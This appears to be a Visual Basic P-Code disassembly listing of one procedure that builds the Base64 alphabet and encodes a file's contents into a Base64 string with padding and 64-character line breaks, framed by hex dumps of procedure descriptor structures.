00413b7a wBaseIfaceSlot uint16 0x0013
00413b7c wReserved2 uint16 0x0000
00413b7e wReserved3 uint16 0x0000
00413b80
00413b80 1c 00 00 00 00 00 04 00 00 00 00 00 74 ff 01 00 ............t...
00413b90 6c ff 01 00 78 ff 01 00 70 ff 01 00 4c 00 00 00 l...x...p...L...
00413ba0 00 00 10 00 00 00 00 00 48 ff 01 00 44 ff 01 00 ........H...D...
00413bb0 1c ff 01 00 88 fe 01 00 84 fe 01 00 80 fe 01 00 ................
00413bc0 6c fe 01 00 4c ff 02 00 24 ff 02 00 fc fe 02 00 l...L...$.......
00413bd0 dc fe 02 00 bc fe 02 00 ac fe 02 00 8c fe 02 00 ................
00413be0 70 fe 02 00 3c fe 02 00 p...<...

00413be8
00413be8fn_413be8:
00413be8LargeBos 8
00413beaILdRf arg_C
00413bedFStStrCopy var_8C
00413bf0LargeBos 5
00413bf2OnErrorGoto 65535
00413bf5SelectCaseByte 0
00413bf7LitI4 0
00413bfcLitI4 63
00413c01FLdRfVar var_D8
00413c04Redim 1, 0, 16, 2176
00413c0eLitVarStr var_E8, "A"
00413c13LitI4 0
00413c18ILdRf var_D8
00413c1bAry1StVarCopy
00413c1dLitVarStr var_F8, "B"
00413c22LitI4 1
00413c27ILdRf var_D8
00413c2aAry1StVarCopy
00413c2cLitVarStr var_108, "C"
00413c31LitI4 2
00413c36ILdRf var_D8
00413c39Ary1StVarCopy
00413c3bLitVarStr var_118, "D"
00413c40LitI4 3
00413c45ILdRf var_D8
00413c48Ary1StVarCopy
00413c4aLitVarStr var_128, "E"
00413c4fLitI4 4
00413c54ILdRf var_D8
00413c57Ary1StVarCopy
00413c59LitVarStr var_138, "F"
00413c5eLitI4 5
00413c63ILdRf var_D8
00413c66Ary1StVarCopy
00413c68LitVarStr var_148, "G"
00413c6dLitI4 6
00413c72ILdRf var_D8
00413c75Ary1StVarCopy
00413c77LitVarStr var_158, "H"
00413c7cLitI4 7
00413c81ILdRf var_D8
00413c84Ary1StVarCopy
00413c86LitVarStr var_168, "I"
00413c8bLitI4 8
00413c90ILdRf var_D8
00413c93Ary1StVarCopy
00413c95LitVarStr var_178, "J"
00413c9aLitI4 9
00413c9fILdRf var_D8
00413ca2Ary1StVarCopy
00413ca4LitVarStr var_188, "K"
00413ca9LitI4 10
00413caeILdRf var_D8
00413cb1Ary1StVarCopy
00413cb3LitVarStr var_198, "L"
00413cb8LitI4 11
00413cbdILdRf var_D8
00413cc0Ary1StVarCopy
00413cc2LitVarStr var_1A8, "M"
00413cc7LitI4 12
00413cccILdRf var_D8
00413ccfAry1StVarCopy
00413cd1LitVarStr var_1B8, "N"
00413cd6LitI4 13
00413cdbILdRf var_D8
00413cdeAry1StVarCopy
00413ce0LitVarStr var_1C8, "O"
00413ce5LitI4 14
00413ceaILdRf var_D8
00413cedAry1StVarCopy
00413cefLitVarStr var_1D8, "P"
00413cf4LitI4 15
00413cf9ILdRf var_D8
00413cfcAry1StVarCopy
00413cfeLitVarStr var_1E8, "Q"
00413d03LitI4 16
00413d08ILdRf var_D8
00413d0bAry1StVarCopy
00413d0dLitVarStr var_1F8, "R"
00413d12LitI4 17
00413d17ILdRf var_D8
00413d1aAry1StVarCopy
00413d1cLitVarStr var_208, "S"
00413d21LitI4 18
00413d26ILdRf var_D8
00413d29Ary1StVarCopy
00413d2bLitVarStr var_218, "T"
00413d30LitI4 19
00413d35ILdRf var_D8
00413d38Ary1StVarCopy
00413d3aLitVarStr var_228, "U"
00413d3fLitI4 20
00413d44ILdRf var_D8
00413d47Ary1StVarCopy
00413d49LitVarStr var_238, "V"
00413d4eLitI4 21
00413d53ILdRf var_D8
00413d56Ary1StVarCopy
00413d58LitVarStr var_248, "W"
00413d5dLitI4 22
00413d62ILdRf var_D8
00413d65Ary1StVarCopy
00413d67LitVarStr var_258, "X"
00413d6cLitI4 23
00413d71ILdRf var_D8
00413d74Ary1StVarCopy
00413d76LitVarStr var_268, "Y"
00413d7bLitI4 24
00413d80ILdRf var_D8
00413d83Ary1StVarCopy
00413d85LitVarStr var_278, "Z"
00413d8aLitI4 25
00413d8fILdRf var_D8
00413d92Ary1StVarCopy
00413d94LitVarStr var_288, "a"
00413d99LitI4 26
00413d9eILdRf var_D8
00413da1Ary1StVarCopy
00413da3LitVarStr var_298, "b"
00413da8LitI4 27
00413dadILdRf var_D8
00413db0Ary1StVarCopy
00413db2LitVarStr var_2A8, "c"
00413db7LitI4 28
00413dbcILdRf var_D8
00413dbfAry1StVarCopy
00413dc1LitVarStr var_2B8, "d"
00413dc6LitI4 29
00413dcbILdRf var_D8
00413dceAry1StVarCopy
00413dd0LitVarStr var_2C8, "e"
00413dd5LitI4 30
00413ddaILdRf var_D8
00413dddAry1StVarCopy
00413ddfLitVarStr var_2D8, "f"
00413de4LitI4 31
00413de9ILdRf var_D8
00413decAry1StVarCopy
00413deeLitVarStr var_2E8, "g"
00413df3LitI4 32
00413df8ILdRf var_D8
00413dfbAry1StVarCopy
00413dfdLitVarStr var_2F8, "h"
00413e02LitI4 33
00413e07ILdRf var_D8
00413e0aAry1StVarCopy
00413e0cLitVarStr var_308, "i"
00413e11LitI4 34
00413e16ILdRf var_D8
00413e19Ary1StVarCopy
00413e1bLitVarStr var_318, "j"
00413e20LitI4 35
00413e25ILdRf var_D8
00413e28Ary1StVarCopy
00413e2aLitVarStr var_328, "k"
00413e2fLitI4 36
00413e34ILdRf var_D8
00413e37Ary1StVarCopy
00413e39LitVarStr var_338, "l"
00413e3eLitI4 37
00413e43ILdRf var_D8
00413e46Ary1StVarCopy
00413e48LitVarStr var_348, "m"
00413e4dLitI4 38
00413e52ILdRf var_D8
00413e55Ary1StVarCopy
00413e57LitVarStr var_358, "n"
00413e5cLitI4 39
00413e61ILdRf var_D8
00413e64Ary1StVarCopy
00413e66LitVarStr var_368, "o"
00413e6bLitI4 40
00413e70ILdRf var_D8
00413e73Ary1StVarCopy
00413e75LitVarStr var_378, "p"
00413e7aLitI4 41
00413e7fILdRf var_D8
00413e82Ary1StVarCopy
00413e84LitVarStr var_388, "q"
00413e89LitI4 42
00413e8eILdRf var_D8
00413e91Ary1StVarCopy
00413e93LitVarStr var_398, "r"
00413e98LitI4 43
00413e9dILdRf var_D8
00413ea0Ary1StVarCopy
00413ea2LitVarStr var_3A8, "s"
00413ea7LitI4 44
00413eacILdRf var_D8
00413eafAry1StVarCopy
00413eb1LitVarStr var_3B8, "t"
00413eb6LitI4 45
00413ebbILdRf var_D8
00413ebeAry1StVarCopy
00413ec0LitVarStr var_3C8, "u"
00413ec5LitI4 46
00413ecaILdRf var_D8
00413ecdAry1StVarCopy
00413ecfLitVarStr var_3D8, "v"
00413ed4LitI4 47
00413ed9ILdRf var_D8
00413edcAry1StVarCopy
00413edeLitVarStr var_3E8, "w"
00413ee3LitI4 48
00413ee8ILdRf var_D8
00413eebAry1StVarCopy
00413eedLitVarStr var_3F8, "x"
00413ef2LitI4 49
00413ef7ILdRf var_D8
00413efaAry1StVarCopy
00413efcLitVarStr var_408, "y"
00413f01LitI4 50
00413f06ILdRf var_D8
00413f09Ary1StVarCopy
00413f0bLitVarStr var_418, "z"
00413f10LitI4 51
00413f15ILdRf var_D8
00413f18Ary1StVarCopy
00413f1aLitVarStr var_428, "0"
00413f1fLitI4 52
00413f24ILdRf var_D8
00413f27Ary1StVarCopy
00413f29LitVarStr var_438, "1"
00413f2eLitI4 53
00413f33ILdRf var_D8
00413f36Ary1StVarCopy
00413f38LitVarStr var_448, "2"
00413f3dLitI4 54
00413f42ILdRf var_D8
00413f45Ary1StVarCopy
00413f47LitVarStr var_458, "3"
00413f4cLitI4 55
00413f51ILdRf var_D8
00413f54Ary1StVarCopy
00413f56LitVarStr var_468, "4"
00413f5bLitI4 56
00413f60ILdRf var_D8
00413f63Ary1StVarCopy
00413f65LitVarStr var_478, "5"
00413f6aLitI4 57
00413f6fILdRf var_D8
00413f72Ary1StVarCopy
00413f74LitVarStr var_488, "6"
00413f79LitI4 58
00413f7eILdRf var_D8
00413f81Ary1StVarCopy
00413f83LitVarStr var_498, "7"
00413f88LitI4 59
00413f8dILdRf var_D8
00413f90Ary1StVarCopy
00413f92LitVarStr var_4A8, "8"
00413f97LitI4 60
00413f9cILdRf var_D8
00413f9fAry1StVarCopy
00413fa1LitVarStr var_4B8, "9"
00413fa6LitI4 61
00413fabILdRf var_D8
00413faeAry1StVarCopy
00413fb0LitVarStr var_4C8, "+"
00413fb5LitI4 62
00413fbaILdRf var_D8
00413fbdAry1StVarCopy
00413fbfLitVarStr var_4D8, "/"
00413fc4LitI4 63
00413fc9ILdRf var_D8
00413fccAry1StVarCopy
00413fceFLdRfVar var_D8
00413fd1FLdRfVar var_4E8
00413fd4ImpAdCallFPR4 rtcArray, 8
00413fd9FLdRfVar var_D8
00413fdcErase
00413fddFLdRfVar var_4E8
00413fe0FStVar 65376
00413fe4LargeBos 9
00413fe6FLdRfVar var_B8
00413fe9PopTmpLdAdStr 64276
00413fecErase
00413fedLargeBos 10
00413fefLitI4 0
00413ff4FStR4 65340
00413ff7LargeBos 10
00413ff9LitI4 0
00413ffeFStR4 65336
00414001LargeBos 10
00414003LitI4 0
00414008FStR4 65332
0041400bLargeBos 7
0041400dLitI2_Byte 0
0041400fFStI2 -142
00414012LargeBos 8
00414014LitStr ""
00414017FStStrCopy var_C0
0041401aLargeBos 17
0041401cLitVar_Missing var_4E8
0041401fImpAdCallI2 rtcFreeFile, 4
00414024CI4UI1
00414025FStR4 65332
00414028FFree1Var var_4E8
0041402bLargeBos 15
0041402dILdRf var_8C
00414030ILdRf var_CC
00414033CI2I4
00414034LitI2_Byte -1
00414036OpenFile 32
0041403aLargeBos 12
0041403cILdRf var_C0
0041403fLitStr "\r\n"
00414042ConcatStr
00414043FStStr var_D0
00414046LargeBos 8
00414048LitStr ""
0041404bFStStrCopy var_C0
0041404eLargeBos 30
00414050ILdRf var_CC
00414053CI2I4
00414054ImpAdCallI2 rtcFileLength, 4
00414059ILdRf var_CC
0041405cCI2I4
0041405dImpAdCallI2 rtcFileLength, 4
00414062LitI4 3
00414067ModI4
00414068SubI4
00414069FStR4 65340
0041406cLargeBos 24
0041406eLitI4 1
00414073FLdRfVar var_C8
00414076ILdRf var_C4
00414079LitI4 3
0041407eForStepI4 64268, 1592
00414084LargeBos 22
00414086ILdRf var_CC
00414089CI2I4
0041408aLitI4 0
0041408fFLdRfVar var_B8
00414092Ary1LdRf
00414093LitI4 1
00414098GetRec3
0041409aLargeBos 22
0041409cILdRf var_CC
0041409fCI2I4
004140a0LitI4 1
004140a5FLdRfVar var_B8
004140a8Ary1LdRf
004140a9LitI4 1
004140aeGetRec3
004140b0LargeBos 22
004140b2ILdRf var_CC
004140b5CI2I4
004140b6LitI4 2
004140bbFLdRfVar var_B8
004140beAry1LdRf
004140bfLitI4 1
004140c4GetRec3
004140c6LargeBos 15
004140c8ILdRf var_C0
004140cbFnLenStr
004140ccLitI4 64
004140d1GtI4
004140d2BranchF 0x4140f5
004140d5LargeBos 12
004140d7ILdRf var_C0
004140daLitStr "\r\n"
004140ddConcatStr
004140deFStStr var_C0
004140e1LargeBos 12
004140e3ILdRf var_D0
004140e6ILdRf var_C0
004140e9ConcatStr
004140eaFStStr var_D0
004140edLargeBos 8
004140efLitStr ""
004140f2FStStrCopy var_C0
004140f5
004140f5loc_4140f5:
004140f5LargeBos 2
004140f7LargeBos 21
004140f9ILdRf var_D4
004140fcFLdRfVar var_B8
004140ffAry1LdUI1
00414101CI2UI1
00414103LitI2_Byte 4
00414105IDvI2
00414106LitI2_Byte 63
00414108AndI4
00414109FStI2 -142
0041410cLargeBos 39
0041410eILdRf var_C0
00414111CVarStr var_F8
00414114FLdRfVar var_8E
00414117CDargRef 16386
0041411bFLdRfVar var_A0
0041411eVarIndexLdVar 64280, 1
00414124ConcatVar var_504
00414128CStrVarTmp
00414129FStStr var_C0
0041412cFFreeVar var_4E8, var_504
00414133LargeBos 40
00414135ILdRf var_D4
00414138FLdRfVar var_B8
0041413bAry1LdUI1
0041413dCI2UI1
0041413fLitI2_Byte 3
00414141AndI4
00414142LitI2_Byte 16
00414144MulI2
00414145LitI4 1
0041414aFLdRfVar var_B8
0041414dAry1LdUI1
0041414fCI2UI1
00414151LitI2_Byte 16
00414153IDvI2
00414154LitI2_Byte 15
00414156AndI4
00414157OrI4
00414158FStI2 -142
0041415bLargeBos 39
0041415dILdRf var_C0
00414160CVarStr var_F8
00414163FLdRfVar var_8E
00414166CDargRef 16386
0041416aFLdRfVar var_A0
0041416dVarIndexLdVar 64280, 1
00414173ConcatVar var_504
00414177CStrVarTmp
00414178FStStr var_C0
0041417bFFreeVar var_4E8, var_504
00414182LargeBos 46
00414184ILdRf var_D4
00414187LitI4 1
0041418cAddI4
0041418dFLdRfVar var_B8
00414190Ary1LdUI1
00414192CI2UI1
00414194LitI2_Byte 15
00414196AndI4
00414197LitI2_Byte 4
00414199MulI2
0041419aLitI4 2
0041419fFLdRfVar var_B8
004141a2Ary1LdUI1
004141a4CI2UI1
004141a6LitI2_Byte 64
004141a8IDvI2
004141a9LitI2_Byte 3
004141abAndI4
004141acOrI4
004141adFStI2 -142
004141b0LargeBos 39
004141b2ILdRf var_C0
004141b5CVarStr var_F8
004141b8FLdRfVar var_8E
004141bbCDargRef 16386
004141bfFLdRfVar var_A0
004141c2VarIndexLdVar 64280, 1
004141c8ConcatVar var_504
004141ccCStrVarTmp
004141cdFStStr var_C0
004141d0FFreeVar var_4E8, var_504
004141d7LargeBos 24
004141d9ILdRf var_D4
004141dcLitI4 2
004141e1AddI4
004141e2FLdRfVar var_B8
004141e5Ary1LdUI1
004141e7CI2UI1
004141e9LitI2_Byte 63
004141ebAndI4
004141ecFStI2 -142
004141efLargeBos 39
004141f1ILdRf var_C0
004141f4CVarStr var_F8
004141f7FLdRfVar var_8E
004141faCDargRef 16386
004141feFLdRfVar var_A0
00414201VarIndexLdVar 64280, 1
00414207ConcatVar var_504
0041420bCStrVarTmp
0041420cFStStr var_C0
0041420fFFreeVar var_4E8, var_504
00414216LargeBos 10
00414218FLdRfVar var_C8
0041421bNextStepI4 64268, 1180
00414220LargeBos 27
00414222ILdRf var_CC
00414225CI2I4
00414226ImpAdCallI2 rtcFileLength, 4
0041422bLitI4 3
00414230ModI4
00414231LitI4 0
00414236EqI4
00414237NotI4
00414238BranchF 0x414421
0041423bLargeBos 31
0041423dLitI4 1
00414242FLdRfVar var_C8
00414245ILdRf var_CC
00414248CI2I4
00414249ImpAdCallI2 rtcFileLength, 4
0041424eLitI4 3
00414253ModI4
00414254ForI4 64244, 1686
0041425aLargeBos 26
0041425cILdRf var_CC
0041425fCI2I4
00414260ILdRf var_C8
00414263LitI4 1
00414268SubI4
00414269FLdRfVar var_B8
0041426cAry1LdRf
0041426dLitI4 1
00414272GetRec3
00414274LargeBos 10
00414276FLdRfVar var_C8
00414279NextI4 64244, 1650
0041427eLargeBos 26
00414280ILdRf var_CC
00414283CI2I4
00414284ImpAdCallI2 rtcFileLength, 4
00414289LitI4 3
0041428eModI4
0041428fLitI4 2
00414294EqI4
00414295BranchF 0x41441f
00414298LargeBos 23
0041429aLitI4 0
0041429fFLdRfVar var_B8
004142a2Ary1LdUI1
004142a4CI2UI1
004142a6LitI2_Byte 4
004142a8IDvI2
004142a9LitI2_Byte 63
004142abAndI4
004142acFStI2 -142
004142afLargeBos 39
004142b1ILdRf var_C0
004142b4CVarStr var_F8
004142b7FLdRfVar var_8E
004142baCDargRef 16386
004142beFLdRfVar var_A0
004142c1VarIndexLdVar 64280, 1
004142c7ConcatVar var_504
004142cbCStrVarTmp
004142ccFStStr var_C0
004142cfFFreeVar var_4E8, var_504
004142d6LargeBos 42
004142d8LitI4 0
004142ddFLdRfVar var_B8
004142e0Ary1LdUI1
004142e2CI2UI1
004142e4LitI2_Byte 3
004142e6AndI4
004142e7LitI2_Byte 16
004142e9MulI2
004142eaLitI4 1
004142efFLdRfVar var_B8
004142f2Ary1LdUI1
004142f4CI2UI1
004142f6LitI2_Byte 16
004142f8IDvI2
004142f9LitI2_Byte 15
004142fbAndI4
004142fcOrI4
004142fdFStI2 -142
00414300LargeBos 39
00414302ILdRf var_C0
00414305CVarStr var_F8
00414308FLdRfVar var_8E
0041430bCDargRef 16386
0041430fFLdRfVar var_A0
00414312VarIndexLdVar 64280, 1
00414318ConcatVar var_504
0041431cCStrVarTmp
0041431dFStStr var_C0
00414320FFreeVar var_4E8, var_504
00414327LargeBos 42
00414329LitI4 1
0041432eFLdRfVar var_B8
00414331Ary1LdUI1
00414333CI2UI1
00414335LitI2_Byte 15
00414337AndI4
00414338LitI2_Byte 4
0041433aMulI2
0041433bLitI4 2
00414340FLdRfVar var_B8
00414343Ary1LdUI1
00414345CI2UI1
00414347LitI2_Byte 64
00414349IDvI2
0041434aLitI2_Byte 3
0041434cAndI4
0041434dOrI4
0041434eFStI2 -142
00414351LargeBos 39
00414353ILdRf var_C0
00414356CVarStr var_F8
00414359FLdRfVar var_8E
0041435cCDargRef 16386
00414360FLdRfVar var_A0
00414363VarIndexLdVar 64280, 1
00414369ConcatVar var_504
0041436dCStrVarTmp
0041436eFStStr var_C0
00414371FFreeVar var_4E8, var_504
00414378LargeBos 12
0041437aILdRf var_C0
0041437dLitStr "="
00414380ConcatStr
00414381FStStr var_C0
00414384LargeBos 23
00414386LitI4 0
0041438bFLdRfVar var_B8
0041438eAry1LdUI1
00414390CI2UI1
00414392LitI2_Byte 4
00414394IDvI2
00414395LitI2_Byte 63
00414397AndI4
00414398FStI2 -142
0041439bLargeBos 39
0041439dILdRf var_C0
004143a0CVarStr var_F8
004143a3FLdRfVar var_8E
004143a6CDargRef 16386
004143aaFLdRfVar var_A0
004143adVarIndexLdVar 64280, 1
004143b3ConcatVar var_504
004143b7CStrVarTmp
004143b8FStStr var_C0
004143bbFFreeVar var_4E8, var_504
004143c2LargeBos 42
004143c4LitI4 0
004143c9FLdRfVar var_B8
004143ccAry1LdUI1
004143ceCI2UI1
004143d0LitI2_Byte 3
004143d2AndI4
004143d3LitI2_Byte 16
004143d5MulI2
004143d6LitI4 1
004143dbFLdRfVar var_B8
004143deAry1LdUI1
004143e0CI2UI1
004143e2LitI2_Byte 16
004143e4IDvI2
004143e5LitI2_Byte 15
004143e7AndI4
004143e8OrI4
004143e9FStI2 -142
004143ecLargeBos 39
004143eeILdRf var_C0
004143f1CVarStr var_F8
004143f4FLdRfVar var_8E
004143f7CDargRef 16386
004143fbFLdRfVar var_A0
004143feVarIndexLdVar 64280, 1
00414404ConcatVar var_504
00414408CStrVarTmp
00414409FStStr var_C0
0041440cFFreeVar var_4E8, var_504
00414413LargeBos 12
00414415ILdRf var_C0
00414418LitStr "=="
0041441bConcatStr
0041441cFStStr var_C0
0041441f
0041441floc_41441f:
0041441fLargeBos 2
00414421
00414421loc_414421:
00414421LargeBos 2
00414423LargeBos 13
00414425ILdRf var_C0
00414428LitStr ""
0041442bNeStr
0041442dBranchF 0x414448
00414430LargeBos 12
00414432ILdRf var_C0
00414435LitStr "\r\n"
00414438ConcatStr
00414439FStStr var_C0
0041443cLargeBos 12
0041443eILdRf var_D0
00414441ILdRf var_C0
00414444ConcatStr
00414445FStStr var_D0
00414448
00414448loc_414448:
00414448LargeBos 2
0041444aLargeBos 8
0041444cLitStr ""
0041444fFStStrCopy var_C0
00414452LargeBos 8
00414454ILdRf var_CC
00414457CI2I4
00414458Close
0041445aLargeBos 8
0041445cILdRf var_D0
0041445fFStStrCopy var_88
00414462LargeBos 0
00414464ExitProc
00413be8

00414465
00414465 struct PCodePad
00414465 00 00 00 ...
00414468
00414468 struct ProcDscInfo
00414468 lpObjectInfo uint32 0x404e2c
0041446c wArgSize int 8
0041446e wFrameSize int 1160
00414470 wPCodeBackOffset uint16 0x413be8
00414472 wTotalSize uint16 0x0064
00414474 wProcOptFlags uint16 0x0000
00414476 wReserved uint16 0x0000
00414478 wBosSkipTableOff uint16 0x0082
0041447a wBaseIfaceSlot uint16 0x0013
0041447c wReserved2 uint16 0x0000
0041447e wReserved3 uint16 0x0000
00414480
00414480 4c 00 00 00 01 00 06 00 00 00 00 01 78 ff 01 00 L...........x...
00414490 30 ff 01 00 48 ff 05 00 00 00 00 00 00 00 00 00 0...H...........
004144a0 00 00 00 00 01 00 92 00 01 00 00 00 00 00 00 00 ................
004144b0 00 00 00 00 04 00 00 00 00 00 00 00 11 00 00 00 ................
004144c0 60 ff 02 00 74 ff 01 00 40 ff 01 00 1e 00 00 00 `...t...@.......
004144d0 00 00 03 00 00 00 00 00 18 fb 02 00 fc fa 02 00 ................
004144e0 28 ff 05 01 00 00 00 00 02 00 01 00 ef 03 00 00 (...............